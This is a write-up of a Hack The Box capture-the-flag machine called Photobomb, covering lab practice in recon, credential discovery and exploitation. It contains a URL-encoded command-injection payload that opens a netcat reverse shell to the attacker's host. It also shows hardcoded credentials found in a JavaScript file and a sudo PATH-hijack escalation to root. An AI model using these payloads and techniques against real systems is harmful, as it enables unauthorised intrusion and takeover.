Walkthrough - Photobomb, a Hack The Box machine

About the machine

Photobomb Machine Banner

data
Machine	Photobomb
Platform	Hackthebox
url	link
creator	slartibartfast
OS	Linux
Release data	08 October 2022
Difficulty	Easy
Points	20
ip	10.10.11.182

Recon

For the sake of commodity, we'll create a variable:

export ip=10.10.11.182

Service/ Port enumeration

Run nmap to enumerate open ports, services, OS, and traceroute

General enumeration not to make too much noise:

sudo nmap $ip -Pn

Results:

Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-20 12:34 EDT
Nmap scan report for 10.10.11.182
Host is up (0.095s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Once you know open ports, run nmap to see service versions and more details:

sudo nmap -sCV -p22,80 $ip

Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e2:24:73:bb:fb:df:5c:b5:20:b6:68:76:74:8a:b5:8d (RSA)
|   256 04:e3:ac:6e:18:4e:1b:7e:ff:ac:4f:e3:9d:d2:1b:ae (ECDSA)
|_  256 20:e0:5d:8c:ba:71:f0:8c:3a:18:19:f2:40:11:d2:9e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We open 10.10.11.182 in the browser. A redirection to http://photobomp.htb occurs, but the server is not found. So we add this routing in our /etc/hosts file:

We open the /etc/hosts file with an editor. For instance, nano.

sudo nano /etc/hosts

We move the cursor to the end and we add these lines:

10.10.11.182    photobomb.htb

Directory enumeration

We can use dirbuster to enumerate directories:

dirbuster

And we configure it to launch this dictionary: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt

Results:

Dirs found with a 200 response:

/

Dirs found with a 401 response:

/printer/
/printers/
/printerfriendly/
/printer_friendly/
/printer_icon/
/printer-icon/
/printer-friendly/
/printerFriendly/
/printersupplies/
/printer1/


--------------------------------
Files found during testing:

Files found with a 401 response:

/printer
/printer.php
/printers.php
/printerfriendly.php
/printer_friendly.php
/printer_icon.php
/printer-friendly.php
/printerFriendly.php
/printersupplies.php
/printer1.php

Files found with a 200 response:

/photobomb.js

As we wait, we do a dns enumeration:

DNS enumeration

Running:

nslookup

And after that:

> SERVER 10.10.11.182

Results:

Default server: 10.10.11.182
Address: 10.10.11.182#53

Then, we run:

> 10.10.11.182

And as a result, we have:

** server can't find 182.11.10.10.in-addr.arpa: NXDOMAIN

So there is no result.

At http://photobomb.htb/printer we find a login page. Use Burp to capture the request of a failed login using "username" as username and "password" as a password.

GET /printer HTTP/1.1
Host: photobomb.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://photobomb.htb/
Upgrade-Insecure-Requests: 1
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=

The authorization is the text "username:password" encoded in base64, which is known as Basic HTTP Authentication Scheme.

After trying to brute force the login page with different seclist dictionaries, we decided to have a look at the only file with response 200 in the directory enumeration: http://photobomb.htb/photobomb.js, and bingo! The user and password are there:

function init() {
  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
  }
}
window.onload = init;

We login into the web with: + user: pH0t0 + password: b0Mb!

After entering user+pass a pannel to download images is displayed. Capturing with BurpSuite this HTTP request to download an image we have:

POST /printer HTTP/1.1
Host: photobomb.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
Origin: http://photobomb.htb
Authorization: Basic cEgwdDA6YjBNYiE=
Connection: close
Referer: http://photobomb.htb/printer
Upgrade-Insecure-Requests: 1

photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg&dimensions=3000x2000

Playing a little with this request in BurpSuite (module Repeater) we can infer that the site is using ruby as a programming language. Now we can play a little with the three parameters we have in the request (photo, filetype, and dimensions) and discover that for some reason filetype is injectable. We can add either a reverse shell in ruby or a reverse shell with netcat. Python doesn't work for us here. I go for an nc reverse shell and url-encode it like this:

POST /printer HTTP/1.1
Host: photobomb.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 164
Origin: http://photobomb.htb
Authorization: Basic cEgwdDA6YjBNYiE=
Connection: close
Referer: http://photobomb.htb/printer
Upgrade-Insecure-Requests: 1

photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=png;rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.80+24444+>/tmp/f&dimensions=3000x2000

Now, in the attacker machine (mine is 10.10.14.80), we listen on port 24444:

nc -lnvp 24444

Once we have the attacker machine listening, we go back to the repeater module in Burp Suite and launch the attack with the SEND button. We will obtain a reverse shell in the attacker machine.

After that, we run:

whoami
cat /home/wizard/user.txt

to get the user flag: *****

Getting the system flag

We run some basic commands:

id

Results:

uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)

echo $SHELL

Results:

/bin/bash

uname -a

Results:

Linux photobomb 5.4.0-126-generic #142-Ubuntu SMP Fri Aug 26 12:12:57 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

sudo -l

Results:

Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh

Two interesting things here: 1. Our user can modify environmental variables, and 2. Our user can execute /opt/cleanup.sh as root with no need for a password. Having a look at the /opt/cleanup.sh file, we can see the command "find" invoked with a relative path:

#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

Knowing that we can modify environmental variables, we are going to create a find file with execution permissions in our folder, and then we are going to add our folder in the first position of the $PATH environmental variable. With that we will execute /opt/cleanup.sh and escalate to root.

cd ~
echo bash > find
chmod +x find
sudo PATH=$PWD:$PATH /opt/cleanup.sh

Now, we are root:

id

Results:

uid=0(root) gid=0(root) groups=0(root)

And the flag:

cat root.txt

Results: *******

Last update: 2023-05-02
Created: January 1, 2023 21:59:36

Walkthrough - Photobomb, a Hack The Box machine

About the machine

Recon

Service/ Port enumeration

Directory enumeration

DNS enumeration

Exploiting the login page

Getting the system flag